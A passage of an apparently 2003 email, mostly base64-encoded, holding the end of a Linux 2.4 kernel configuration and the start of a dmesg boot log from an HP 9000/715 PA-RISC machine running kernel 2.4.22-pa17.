IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfQlVTTE9HSUMgaXMgbm90IHNl
dA0KIyBDT05GSUdfU0NTSV9ETVgzMTkxRCBpcyBub3Qgc2V0DQojIENPTkZJ
R19TQ1NJX0RUQzMyODAgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9FQVRB
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfRUFUQV9ETUEgaXMgbm90IHNl
dA0KIyBDT05GSUdfU0NTSV9FQVRBX1BJTyBpcyBub3Qgc2V0DQojIENPTkZJ
R19TQ1NJX0ZVVFVSRV9ET01BSU4gaXMgbm90IHNldA0KIyBDT05GSUdfU0NT
SV9HRFRIIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfR0VORVJJQ19OQ1I1
MzgwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfSU5JVElPIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1NDU0lfSU5JQTEwMCBpcyBub3Qgc2V0DQojIENPTkZJ
R19TQ1NJX1BQQSBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0lNTSBpcyBu
b3Qgc2V0DQojIENPTkZJR19TQ1NJX05DUjUzQzQwNkEgaXMgbm90IHNldA0K
Q09ORklHX1NDU0lfTEFTSTcwMD15DQpDT05GSUdfNTNDNzAwX01FTV9NQVBQ
RUQ9eQ0KQ09ORklHXzUzQzcwMF9MRV9PTl9CRT15DQpDT05GSUdfNTNDNzAw
X1VTRV9DT05TSVNURU5UPXkNCiMgQ09ORklHX1NDU0lfTkNSNTNDN3h4IGlz
IG5vdCBzZXQNCiMgQ09ORklHX0FTS19aQUxPTiBpcyBub3Qgc2V0DQojIENP
TkZJR19BU0tfTkNSNTNDOFhYIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FTS19T
WU01M0M4WFggaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9aQUxPTiBpcyBu
b3Qgc2V0DQojIENPTkZJR19TQ1NJX1BBUzE2IGlzIG5vdCBzZXQNCiMgQ09O
RklHX1NDU0lfUENJMjAwMCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX1BD
STIyMjBJIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfUFNJMjQwSSBpcyBu
b3Qgc2V0DQojIENPTkZJR19TQ1NJX1FMT0dJQ19GQVMgaXMgbm90IHNldA0K
IyBDT05GSUdfU0NTSV9TSU03MTAgaXMgbm90IHNldA0KIyBDT05GSUdfU0NT
SV9TWU01M0M0MTYgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9UMTI4IGlz
IG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfVTE0XzM0RiBpcyBub3Qgc2V0DQoj
IENPTkZJR19TQ1NJX05TUDMyIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lf
REVCVUcgaXMgbm90IHNldA0KDQojDQojIE5ldHdvcmsgZGV2aWNlIHN1cHBv
cnQNCiMNCkNPTkZJR19ORVRERVZJQ0VTPXkNCg0KIw0KIyBBUkNuZXQgZGV2
aWNlcw0KIw0KIyBDT05GSUdfQVJDTkVUIGlzIG5vdCBzZXQNCiMgQ09ORklH
X0RVTU1ZIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JPTkRJTkcgaXMgbm90IHNl
dA0KIyBDT05GSUdfRVFVQUxJWkVSIGlzIG5vdCBzZXQNCkNPTkZJR19UVU49
bQ0KQ09ORklHX0VUSEVSVEFQPW0NCg0KIw0KIyBFdGhlcm5ldCAoMTAgb3Ig
MTAwTWJpdCkNCiMNCkNPTkZJR19ORVRfRVRIRVJORVQ9eQ0KQ09ORklHX0xB
U0lfODI1OTY9eQ0KIyBDT05GSUdfU1VOTEFOQ0UgaXMgbm90IHNldA0KIyBD
T05GSUdfU1VOQk1BQyBpcyBub3Qgc2V0DQojIENPTkZJR19TVU5RRSBpcyBu
b3Qgc2V0DQojIENPTkZJR19TVU5HRU0gaXMgbm90IHNldA0KIyBDT05GSUdf
TkVUX1ZFTkRPUl8zQ09NIGlzIG5vdCBzZXQNCiMgQ09ORklHX0xBTkNFIGlz
IG5vdCBzZXQNCiMgQ09ORklHX05FVF9WRU5ET1JfU01DIGlzIG5vdCBzZXQN
CiMgQ09ORklHX05FVF9WRU5ET1JfUkFDQUwgaXMgbm90IHNldA0KIyBDT05G
SUdfQVQxNzAwIGlzIG5vdCBzZXQNCiMgQ09ORklHX0RFUENBIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0hQMTAwIGlzIG5vdCBzZXQNCiMgQ09ORklHX05FVF9J
U0EgaXMgbm90IHNldA0KIyBDT05GSUdfTkVUX1BDSSBpcyBub3Qgc2V0DQoj
IENPTkZJR19ORVRfUE9DS0VUIGlzIG5vdCBzZXQNCg0KIw0KIyBFdGhlcm5l
dCAoMTAwMCBNYml0KQ0KIw0KIyBDT05GSUdfQUNFTklDIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0RMMksgaXMgbm90IHNldA0KIyBDT05GSUdfRTEwMDAgaXMg
bm90IHNldA0KIyBDT05GSUdfTVlSSV9TQlVTIGlzIG5vdCBzZXQNCiMgQ09O
RklHX05TODM4MjAgaXMgbm90IHNldA0KIyBDT05GSUdfSEFNQUNISSBpcyBu
b3Qgc2V0DQojIENPTkZJR19ZRUxMT1dGSU4gaXMgbm90IHNldA0KIyBDT05G
SUdfUjgxNjkgaXMgbm90IHNldA0KIyBDT05GSUdfU0s5OExJTiBpcyBub3Qg
c2V0DQojIENPTkZJR19USUdPTjMgaXMgbm90IHNldA0KIyBDT05GSUdfRkRE
SSBpcyBub3Qgc2V0DQojIENPTkZJR19ISVBQSSBpcyBub3Qgc2V0DQojIENP
TkZJR19QTElQIGlzIG5vdCBzZXQNCkNPTkZJR19QUFA9bQ0KIyBDT05GSUdf
UFBQX01VTFRJTElOSyBpcyBub3Qgc2V0DQojIENPTkZJR19QUFBfRklMVEVS
IGlzIG5vdCBzZXQNCkNPTkZJR19QUFBfQVNZTkM9bQ0KIyBDT05GSUdfUFBQ
X1NZTkNfVFRZIGlzIG5vdCBzZXQNCkNPTkZJR19QUFBfREVGTEFURT1tDQpD
T05GSUdfUFBQX0JTRENPTVA9bQ0KIyBDT05GSUdfUFBQT0UgaXMgbm90IHNl
dA0KQ09ORklHX1NMSVA9bQ0KQ09ORklHX1NMSVBfQ09NUFJFU1NFRD15DQpD
T05GSUdfU0xJUF9TTUFSVD15DQojIENPTkZJR19TTElQX01PREVfU0xJUDYg
aXMgbm90IHNldA0KDQojDQojIFdpcmVsZXNzIExBTiAobm9uLWhhbXJhZGlv
KQ0KIw0KIyBDT05GSUdfTkVUX1JBRElPIGlzIG5vdCBzZXQNCg0KIw0KIyBU
b2tlbiBSaW5nIGRldmljZXMNCiMNCiMgQ09ORklHX1RSIGlzIG5vdCBzZXQN
CiMgQ09ORklHX05FVF9GQyBpcyBub3Qgc2V0DQojIENPTkZJR19SQ1BDSSBp
cyBub3Qgc2V0DQojIENPTkZJR19TSEFQRVIgaXMgbm90IHNldA0KDQojDQoj
IFdhbiBpbnRlcmZhY2VzDQojDQojIENPTkZJR19XQU4gaXMgbm90IHNldA0K
DQojDQojIElucHV0IGNvcmUgc3VwcG9ydA0KIw0KIyBDT05GSUdfSU5QVVQg
aXMgbm90IHNldA0KIyBDT05GSUdfSU5QVVRfS0VZQkRFViBpcyBub3Qgc2V0
DQojIENPTkZJR19JTlBVVF9NT1VTRURFViBpcyBub3Qgc2V0DQojIENPTkZJ
R19JTlBVVF9KT1lERVYgaXMgbm90IHNldA0KIyBDT05GSUdfSU5QVVRfRVZE
RVYgaXMgbm90IHNldA0KDQojDQojIENoYXJhY3RlciBkZXZpY2VzDQojDQpD
T05GSUdfVlQ9eQ0KQ09ORklHX1ZUX0NPTlNPTEU9eQ0KIyBDT05GSUdfR1ND
X1BTMiBpcyBub3Qgc2V0DQpDT05GSUdfU0VSSUFMPXkNCkNPTkZJR19TRVJJ
QUxfQ09OU09MRT15DQpDT05GSUdfU0VSSUFMX0dTQz15DQojIENPTkZJR19I
UF9ESVZBIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NFUklBTF9FWFRFTkRFRCBp
cyBub3Qgc2V0DQojIENPTkZJR19TRVJJQUxfTk9OU1RBTkRBUkQgaXMgbm90
IHNldA0KQ09ORklHX1VOSVg5OF9QVFlTPXkNCkNPTkZJR19VTklYOThfUFRZ
X0NPVU5UPTI1Ng0KQ09ORklHX1BSSU5URVI9bQ0KIyBDT05GSUdfTFBfQ09O
U09MRSBpcyBub3Qgc2V0DQojIENPTkZJR19QUERFViBpcyBub3Qgc2V0DQoj
IENPTkZJR19USVBBUiBpcyBub3Qgc2V0DQoNCiMNCiMgSTJDIHN1cHBvcnQN
CiMNCiMgQ09ORklHX0kyQyBpcyBub3Qgc2V0DQoNCiMNCiMgTWljZQ0KIw0K
IyBDT05GSUdfQlVTTU9VU0UgaXMgbm90IHNldA0KIyBDT05GSUdfTU9VU0Ug
aXMgbm90IHNldA0KDQojDQojIEpveXN0aWNrcw0KIw0KIyBDT05GSUdfSU5Q
VVRfR0FNRVBPUlQgaXMgbm90IHNldA0KDQojDQojIElucHV0IGNvcmUgc3Vw
cG9ydCBpcyBuZWVkZWQgZm9yIGdhbWVwb3J0cw0KIw0KDQojDQojIElucHV0
IGNvcmUgc3VwcG9ydCBpcyBuZWVkZWQgZm9yIGpveXN0aWNrcw0KIw0KIyBD
T05GSUdfUUlDMDJfVEFQRSBpcyBub3Qgc2V0DQojIENPTkZJR19JUE1JX0hB
TkRMRVIgaXMgbm90IHNldA0KIyBDT05GSUdfSVBNSV9QQU5JQ19FVkVOVCBp
cyBub3Qgc2V0DQojIENPTkZJR19JUE1JX0RFVklDRV9JTlRFUkZBQ0UgaXMg
bm90IHNldA0KIyBDT05GSUdfSVBNSV9LQ1MgaXMgbm90IHNldA0KIyBDT05G
SUdfSVBNSV9XQVRDSERPRyBpcyBub3Qgc2V0DQoNCiMNCiMgV2F0Y2hkb2cg
Q2FyZHMNCiMNCkNPTkZJR19XQVRDSERPRz15DQpDT05GSUdfV0FUQ0hET0df
Tk9XQVlPVVQ9eQ0KIyBDT05GSUdfQUNRVUlSRV9XRFQgaXMgbm90IHNldA0K
IyBDT05GSUdfQURWQU5URUNIX1dEVCBpcyBub3Qgc2V0DQojIENPTkZJR19B
TElNMTUzNV9XRFQgaXMgbm90IHNldA0KIyBDT05GSUdfQUxJTTcxMDFfV0RU
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDNTIwX1dEVCBpcyBub3Qgc2V0DQoj
IENPTkZJR19QQ1dBVENIRE9HIGlzIG5vdCBzZXQNCiMgQ09ORklHX0VVUk9U
RUNIX1dEVCBpcyBub3Qgc2V0DQojIENPTkZJR19JQjcwMF9XRFQgaXMgbm90
IHNldA0KIyBDT05GSUdfV0FGRVJfV0RUIGlzIG5vdCBzZXQNCiMgQ09ORklH
X0k4MTBfVENPIGlzIG5vdCBzZXQNCiMgQ09ORklHX01JWENPTVdEIGlzIG5v
dCBzZXQNCiMgQ09ORklHXzYwWFhfV0RUIGlzIG5vdCBzZXQNCiMgQ09ORklH
X1NDMTIwMF9XRFQgaXMgbm90IHNldA0KIyBDT05GSUdfU0N4MjAwX1dEVCBp
cyBub3Qgc2V0DQpDT05GSUdfU09GVF9XQVRDSERPRz1tDQojIENPTkZJR19X
ODM4NzdGX1dEVCBpcyBub3Qgc2V0DQojIENPTkZJR19XRFQgaXMgbm90IHNl
dA0KIyBDT05GSUdfV0RUUENJIGlzIG5vdCBzZXQNCiMgQ09ORklHX01BQ0ha
X1dEVCBpcyBub3Qgc2V0DQojIENPTkZJR19BTUQ3WFhfVENPIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0dFTl9SVEMgaXMgbm90IHNldA0KIyBDT05GSUdfU0N4
MjAwX0dQSU8gaXMgbm90IHNldA0KIyBDT05GSUdfQU1EX1BNNzY4IGlzIG5v
dCBzZXQNCiMgQ09ORklHX05WUkFNIGlzIG5vdCBzZXQNCiMgQ09ORklHX1JU
QyBpcyBub3Qgc2V0DQojIENPTkZJR19EVExLIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1IzOTY0IGlzIG5vdCBzZXQNCiMgQ09ORklHX0FQUExJQ09NIGlzIG5v
dCBzZXQNCg0KIw0KIyBGdGFwZSwgdGhlIGZsb3BweSB0YXBlIGRldmljZSBk
cml2ZXINCiMNCiMgQ09ORklHX0ZUQVBFIGlzIG5vdCBzZXQNCiMgQ09ORklH
X0FHUCBpcyBub3Qgc2V0DQojIENPTkZJR19EUk0gaXMgbm90IHNldA0KDQoj
DQojIEhJTCBzdXBwb3J0DQojDQoNCiMNCiMgSW5wdXQgc3VwcG9ydCBuZWVk
ZWQgZm9yIEhJTCBzdXBwb3J0DQojDQoNCiMNCiMgTXVsdGltZWRpYSBkZXZp
Y2VzDQojDQojIENPTkZJR19WSURFT19ERVYgaXMgbm90IHNldA0KDQojDQoj
IEZpbGUgc3lzdGVtcw0KIw0KIyBDT05GSUdfUVVPVEEgaXMgbm90IHNldA0K
IyBDT05GSUdfUUZNVF9WMiBpcyBub3Qgc2V0DQojIENPTkZJR19BVVRPRlNf
RlMgaXMgbm90IHNldA0KIyBDT05GSUdfQVVUT0ZTNF9GUyBpcyBub3Qgc2V0
DQpDT05GSUdfUkVJU0VSRlNfRlM9eQ0KIyBDT05GSUdfUkVJU0VSRlNfQ0hF
Q0sgaXMgbm90IHNldA0KIyBDT05GSUdfUkVJU0VSRlNfUFJPQ19JTkZPIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0FERlNfRlMgaXMgbm90IHNldA0KIyBDT05G
SUdfQURGU19GU19SVyBpcyBub3Qgc2V0DQojIENPTkZJR19BRkZTX0ZTIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0hGU19GUyBpcyBub3Qgc2V0DQojIENPTkZJ
R19IRlNQTFVTX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JFRlNfRlMgaXMg
bm90IHNldA0KIyBDT05GSUdfQkVGU19ERUJVRyBpcyBub3Qgc2V0DQojIENP
TkZJR19CRlNfRlMgaXMgbm90IHNldA0KQ09ORklHX0VYVDNfRlM9eQ0KQ09O
RklHX0pCRD15DQojIENPTkZJR19KQkRfREVCVUcgaXMgbm90IHNldA0KQ09O
RklHX0ZBVF9GUz1tDQpDT05GSUdfTVNET1NfRlM9bQ0KIyBDT05GSUdfVU1T
RE9TX0ZTIGlzIG5vdCBzZXQNCkNPTkZJR19WRkFUX0ZTPW0NCiMgQ09ORklH
X0VGU19GUyBpcyBub3Qgc2V0DQojIENPTkZJR19KRkZTX0ZTIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0pGRlMyX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0NS
QU1GUyBpcyBub3Qgc2V0DQpDT05GSUdfVE1QRlM9eQ0KQ09ORklHX1JBTUZT
PXkNCkNPTkZJR19JU085NjYwX0ZTPW0NCkNPTkZJR19KT0xJRVQ9eQ0KQ09O
RklHX1pJU09GUz15DQojIENPTkZJR19KRlNfRlMgaXMgbm90IHNldA0KIyBD
T05GSUdfSkZTX0RFQlVHIGlzIG5vdCBzZXQNCiMgQ09ORklHX0pGU19TVEFU
SVNUSUNTIGlzIG5vdCBzZXQNCkNPTkZJR19NSU5JWF9GUz1tDQojIENPTkZJ
R19WWEZTX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX05URlNfRlMgaXMgbm90
IHNldA0KIyBDT05GSUdfTlRGU19SVyBpcyBub3Qgc2V0DQojIENPTkZJR19I
UEZTX0ZTIGlzIG5vdCBzZXQNCkNPTkZJR19QUk9DX0ZTPXkNCiMgQ09ORklH
X0RFVkZTX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0RFVkZTX01PVU5UIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0RFVkZTX0RFQlVHIGlzIG5vdCBzZXQNCkNP
TkZJR19ERVZQVFNfRlM9eQ0KIyBDT05GSUdfUU5YNEZTX0ZTIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1FOWDRGU19SVyBpcyBub3Qgc2V0DQojIENPTkZJR19S
T01GU19GUyBpcyBub3Qgc2V0DQpDT05GSUdfRVhUMl9GUz15DQojIENPTkZJ
R19TWVNWX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VERl9GUyBpcyBub3Qg
c2V0DQojIENPTkZJR19VREZfUlcgaXMgbm90IHNldA0KIyBDT05GSUdfVUZT
X0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VGU19GU19XUklURSBpcyBub3Qg
c2V0DQoNCiMNCiMgTmV0d29yayBGaWxlIFN5c3RlbXMNCiMNCkNPTkZJR19D
T0RBX0ZTPW0NCkNPTkZJR19JTlRFUk1FWlpPX0ZTPW0NCkNPTkZJR19ORlNf
RlM9bQ0KQ09ORklHX05GU19WMz15DQojIENPTkZJR19ORlNfRElSRUNUSU8g
aXMgbm90IHNldA0KIyBDT05GSUdfUk9PVF9ORlMgaXMgbm90IHNldA0KQ09O
RklHX05GU0Q9bQ0KQ09ORklHX05GU0RfVjM9eQ0KIyBDT05GSUdfTkZTRF9U
Q1AgaXMgbm90IHNldA0KQ09ORklHX1NVTlJQQz1tDQpDT05GSUdfTE9DS0Q9
bQ0KQ09ORklHX0xPQ0tEX1Y0PXkNCkNPTkZJR19TTUJfRlM9bQ0KQ09ORklH
X1NNQl9OTFNfREVGQVVMVD15DQpDT05GSUdfU01CX05MU19SRU1PVEU9ImNw
NDM3Ig0KIyBDT05GSUdfTkNQX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX05D
UEZTX1BBQ0tFVF9TSUdOSU5HIGlzIG5vdCBzZXQNCiMgQ09ORklHX05DUEZT
X0lPQ1RMX0xPQ0tJTkcgaXMgbm90IHNldA0KIyBDT05GSUdfTkNQRlNfU1RS
T05HIGlzIG5vdCBzZXQNCiMgQ09ORklHX05DUEZTX05GU19OUyBpcyBub3Qg
c2V0DQojIENPTkZJR19OQ1BGU19PUzJfTlMgaXMgbm90IHNldA0KIyBDT05G
SUdfTkNQRlNfU01BTExET1MgaXMgbm90IHNldA0KIyBDT05GSUdfTkNQRlNf
TkxTIGlzIG5vdCBzZXQNCiMgQ09ORklHX05DUEZTX0VYVFJBUyBpcyBub3Qg
c2V0DQpDT05GSUdfWklTT0ZTX0ZTPW0NCg0KIw0KIyBQYXJ0aXRpb24gVHlw
ZXMNCiMNCiMgQ09ORklHX1BBUlRJVElPTl9BRFZBTkNFRCBpcyBub3Qgc2V0
DQpDT05GSUdfTVNET1NfUEFSVElUSU9OPXkNCkNPTkZJR19TTUJfTkxTPXkN
CkNPTkZJR19OTFM9eQ0KDQojDQojIE5hdGl2ZSBMYW5ndWFnZSBTdXBwb3J0
DQojDQpDT05GSUdfTkxTX0RFRkFVTFQ9Imlzbzg4NTktMSINCkNPTkZJR19O
TFNfQ09ERVBBR0VfNDM3PW0NCiMgQ09ORklHX05MU19DT0RFUEFHRV83Mzcg
aXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0NPREVQQUdFXzc3NSBpcyBub3Qg
c2V0DQpDT05GSUdfTkxTX0NPREVQQUdFXzg1MD1tDQojIENPTkZJR19OTFNf
Q09ERVBBR0VfODUyIGlzIG5vdCBzZXQNCiMgQ09ORklHX05MU19DT0RFUEFH
RV84NTUgaXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0NPREVQQUdFXzg1NyBp
cyBub3Qgc2V0DQojIENPTkZJR19OTFNfQ09ERVBBR0VfODYwIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX05MU19DT0RFUEFHRV84NjEgaXMgbm90IHNldA0KIyBD
T05GSUdfTkxTX0NPREVQQUdFXzg2MiBpcyBub3Qgc2V0DQojIENPTkZJR19O
TFNfQ09ERVBBR0VfODYzIGlzIG5vdCBzZXQNCiMgQ09ORklHX05MU19DT0RF
UEFHRV84NjQgaXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0NPREVQQUdFXzg2
NSBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfQ09ERVBBR0VfODY2IGlzIG5v
dCBzZXQNCiMgQ09ORklHX05MU19DT0RFUEFHRV84NjkgaXMgbm90IHNldA0K
IyBDT05GSUdfTkxTX0NPREVQQUdFXzkzNiBpcyBub3Qgc2V0DQojIENPTkZJ
R19OTFNfQ09ERVBBR0VfOTUwIGlzIG5vdCBzZXQNCiMgQ09ORklHX05MU19D
T0RFUEFHRV85MzIgaXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0NPREVQQUdF
Xzk0OSBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfQ09ERVBBR0VfODc0IGlz
IG5vdCBzZXQNCiMgQ09ORklHX05MU19JU084ODU5XzggaXMgbm90IHNldA0K
IyBDT05GSUdfTkxTX0NPREVQQUdFXzEyNTAgaXMgbm90IHNldA0KIyBDT05G
SUdfTkxTX0NPREVQQUdFXzEyNTEgaXMgbm90IHNldA0KQ09ORklHX05MU19J
U084ODU5XzE9eQ0KIyBDT05GSUdfTkxTX0lTTzg4NTlfMiBpcyBub3Qgc2V0
DQojIENPTkZJR19OTFNfSVNPODg1OV8zIGlzIG5vdCBzZXQNCiMgQ09ORklH
X05MU19JU084ODU5XzQgaXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0lTTzg4
NTlfNSBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfSVNPODg1OV82IGlzIG5v
dCBzZXQNCiMgQ09ORklHX05MU19JU084ODU5XzcgaXMgbm90IHNldA0KIyBD
T05GSUdfTkxTX0lTTzg4NTlfOSBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNf
SVNPODg1OV8xMyBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfSVNPODg1OV8x
NCBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfSVNPODg1OV8xNSBpcyBub3Qg
c2V0DQojIENPTkZJR19OTFNfS09JOF9SIGlzIG5vdCBzZXQNCiMgQ09ORklH
X05MU19LT0k4X1UgaXMgbm90IHNldA0KQ09ORklHX05MU19VVEY4PW0NCg0K
Iw0KIyBDb25zb2xlIGRyaXZlcnMNCiMNCg0KIw0KIyBGcmFtZS1idWZmZXIg
c3VwcG9ydA0KIw0KIyBDT05GSUdfRkIgaXMgbm90IHNldA0KIyBDT05GSUdf
U1RJX0NPTlNPTEUgaXMgbm90IHNldA0KDQojDQojIFNvdW5kDQojDQojIENP
TkZJR19TT1VORCBpcyBub3Qgc2V0DQoNCiMNCiMgS2VybmVsIGhhY2tpbmcN
CiMNCkNPTkZJR19NQUdJQ19TWVNSUT15DQojIENPTkZJR19ERUJVR19TUElO
TE9DSyBpcyBub3Qgc2V0DQojIENPTkZJR19GUkFNRV9QT0lOVEVSIGlzIG5v
dCBzZXQNCg0KIw0KIyBDcnlwdG9ncmFwaGljIG9wdGlvbnMNCiMNCiMgQ09O
RklHX0NSWVBUTyBpcyBub3Qgc2V0DQoNCiMNCiMgTGlicmFyeSByb3V0aW5l
cw0KIw0KIyBDT05GSUdfQ1JDMzIgaXMgbm90IHNldA0KQ09ORklHX1pMSUJf
SU5GTEFURT1tDQpDT05GSUdfWkxJQl9ERUZMQVRFPW0NCg==

--17435138-173600930-1069165496=:5439
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=dmesg
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.58.0311181024561.5439@brain.fop.ns.ca>
Content-Description: dmesg
Content-Disposition: attachment; filename=dmesg

TGludXggdmVyc2lvbiAyLjQuMjItcGExNyAocm9vdEBicmFpbikgKGdjYyB2
ZXJzaW9uIDMuMC40KSAjMSBTYXQgTm92IDE1IDIzOjI1OjI2IEFTVCAyMDAz
DQpGUFswXSBlbmFibGVkOiBSZXYgMSBNb2RlbCAxMw0KVGhlIDMyLWJpdCBL
ZXJuZWwgaGFzIHN0YXJ0ZWQuLi4NCkRldGVybWluaW5nIFBEQyBmaXJtd2Fy
ZSB0eXBlOiBTbmFrZS4NCm1vZGVsIDAwMDA2MGMwIDAwMDAwNDgxIDAwMDAw
MDAwIDAwMDAwMDAwIDc3NTY2YjRlIDAwMDAwMDAwIDAwMDAwMDA0IDAwMDAw
MDcyIDAwMDAwMDcyDQp2ZXJzICAwMDAwMDAwYw0KbW9kZWwgOTAwMC83MTUN
ClRvdGFsIE1lbW9yeTogMjU2IE1iDQpwYWdldGFibGVfaW5pdA0KT24gbm9k
ZSAwIHRvdGFscGFnZXM6IDY1NTM2DQp6b25lKDApOiA2NTUzNiBwYWdlcy4N
CnpvbmUoMSk6IDAgcGFnZXMuDQp6b25lKDIpOiAwIHBhZ2VzLg0KS2VybmVs
IGNvbW1hbmQgbGluZTogcm9vdD0vZGV2L3NkYTMgSE9NRT0vIGNvbnNvbGU9
dHR5UzAgVEVSTT12dDEwMiBwYWxvX2tlcm5lbD0yL3ZtbGludXgNCkNhbGli
cmF0aW5nIGRlbGF5IGxvb3AuLi4gOTkuNzMgQm9nb01JUFMNCk1lbW9yeTog
MjU2ODA0ayBhdmFpbGFibGUNCkRlbnRyeSBjYWNoZSBoYXNoIHRhYmxlIGVu
dHJpZXM6IDMyNzY4IChvcmRlcjogNiwgMjYyMTQ0IGJ5dGVzKQ0KSW5vZGUg
Y2FjaGUgaGFzaCB0YWJsZSBlbnRyaWVzOiAxNjM4NCAob3JkZXI6IDUsIDEz
MTA3MiBieXRlcykNCk1vdW50IGNhY2hlIGhhc2ggdGFibGUgZW50cmllczog
NTEyIChvcmRlcjogMCwgNDA5NiBieXRlcykNCkJ1ZmZlciBjYWNoZSBoYXNo
IHRhYmxlIGVudHJpZXM6IDE2Mzg0IChvcmRlcjogNCwgNjU1MzYgYnl0ZXMp
DQpQYWdlLWNhY2hlIGhhc2ggdGFibGUgZW50cmllczogNjU1MzYgKG9yZGVy
OiA2LCAyNjIxNDQgYnl0ZXMpDQpTZWFyY2hpbmcgZm9yIGRldmljZXMuLi4N
CkZvdW5kIGRldmljZXM6DQoxLiBNaXJhZ2UgMTAwKyBHU0MgQnVpbHRpbiBH
cmFwaGljcyAoMTApIGF0IDB4ZjgwMDAwMDAgWzFdLCB2ZXJzaW9ucyAweDEx
LCAweDAsIDB4ODUNCjIuIE1pcmFnZSAxMDArIENvcmUgQkEgKDExKSBhdCAw
eGYwMTAwMDAwIFsyXSwgdmVyc2lvbnMgMHgyYywgMHgwLCAweDgxDQozLiBN
aXJhZ2UgMTAwKyBDb3JlIFNDU0kgKDEwKSBhdCAweGYwMTA2MDAwIFsyLzAv
MV0sIHZlcnNpb25zIDB4MmMsIDB4MCwgMHg4Mg0KNC4gTWlyYWdlIDEwMCsg
Q29yZSBMQU4gKDgwMi4zKSAoMTApIGF0IDB4ZjAxMDcwMDAgWzIvMC8yXSwg
dmVyc2lvbnMgMHgyYywgMHgwLCAweDhhDQo1LiBNaXJhZ2UgMTAwKyBDb3Jl
IFJTLTIzMiAoMTApIGF0IDB4ZjAxMDUwMDAgWzIvMC80XSwgdmVyc2lvbnMg
MHgyYywgMHgwLCAweDhjDQo2LiBNaXJhZ2UgMTAwKyBDb3JlIENlbnRyb25p
Y3MgKDEwKSBhdCAweGYwMTAyMDAwIFsyLzAvNl0sIHZlcnNpb25zIDB4MmMs
IDB4MCwgMHg3NA0KNy4gTWlyYWdlIDEwMCsgQXVkaW8gKDEwKSBhdCAweGYw
MTA0MDAwIFsyLzAvOF0sIHZlcnNpb25zIDB4MmMsIDB4MCwgMHg3Yg0KOC4g
TWlyYWdlIDEwMCsgQ29yZSBQQyBGbG9wcHkgKDEwKSBhdCAweGYwMTBhMDAw
IFsyLzAvMTBdLCB2ZXJzaW9ucyAweDJjLCAweDAsIDB4ODMNCjkuIE1pcmFn
ZSAxMDArIENvcmUgUFMvMiBQb3J0ICgxMCkgYXQgMHhmMDEwODAwMCBbMi8w
LzExXSwgdmVyc2lvbnMgMHgyYywgMHgwLCAweDg0DQoxMC4gTWlyYWdlIDEw
MCsgQ29yZSBQUy8yIFBvcnQgKDEwKSBhdCAweGYwMTA4MTAwIFsyLzAvMTJd
LCB2ZXJzaW9ucyAweDJjLCAweDAsIDB4ODQNCjExLiBNaXJhZ2UgMTAwKyBX
YXggRUlTQSBCQSAoMTEpIGF0IDB4ZmMwMDAwMDAgWzRdLCB2ZXJzaW9ucyAw
eDJjLCAweDAsIDB4OTANCjEyLiBNaXJhZ2UgMTAwKyBXYXggQkEgKDExKSBh
dCAweGYwMjAwMDAwIFs1XSwgdmVyc2lvbnMgMHgyYywgMHgwLCAweDhlDQox
My4gTWlyYWdlIDEwMCsgV2F4IEhJTCAoMTApIGF0IDB4ZjAyMDEwMDAgWzUv
MC8xXSwgdmVyc2lvbnMgMHgyYywgMHgwLCAweDczDQoxNC4gR2Vja28gQ29y
ZSBSUy0yMzIgKDEwKSBhdCAweGYwMjAyMDAwIFs1LzAvMl0sIHZlcnNpb25z
IDB4MTYsIDB4MCwgMHg4Yw0KMTUuIE1pcmFnZSAxMDArICgwKSBhdCAweGZm
ZmJlMDAwIFs4XSwgdmVyc2lvbnMgMHg2MGMsIDB4MCwgMHg0DQoxNi4gTWVt
b3J5ICgxKSBhdCAweGZmZmJmMDAwIFs5XSwgdmVyc2lvbnMgMHg0YywgMHgw
LCAweDkNCkNQVShzKTogMSB4IFBBNzEwMExDIChQQ1gtTCkgYXQgMTAwLjAw
MDAwMCBNSHoNCkxhc2kgdmVyc2lvbiAwIGF0IDB4ZjAxMDAwMDAgZm91bmQu
